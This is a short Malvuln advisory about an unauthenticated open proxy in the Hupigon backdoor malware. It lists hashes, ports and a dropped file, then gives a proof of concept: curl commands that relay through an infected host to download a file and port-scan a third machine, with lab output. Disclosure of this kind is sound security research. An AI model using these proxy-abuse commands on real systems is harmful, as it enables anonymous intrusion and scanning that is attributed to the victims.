Backdoor.Win32.Hupigon.fjcd malware suffers from an unauthenticated open proxy vulnerability.
9f539aae0a6b1909254c301aba1440b2Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/284f36e35db6a0aa9a493f39d834367e.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Hupigon.fjcd
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 284f36e35db6a0aa9a493f39d834367e
Vuln ID: MVID-2021-0349
Dropped files: hao123.exe
Disclosure: 09/25/2021
Exploit/PoC:
Download filez)
curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 258k
Scan ports)
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <23200.1632535913@pop3host>
-ERR Unknown command.
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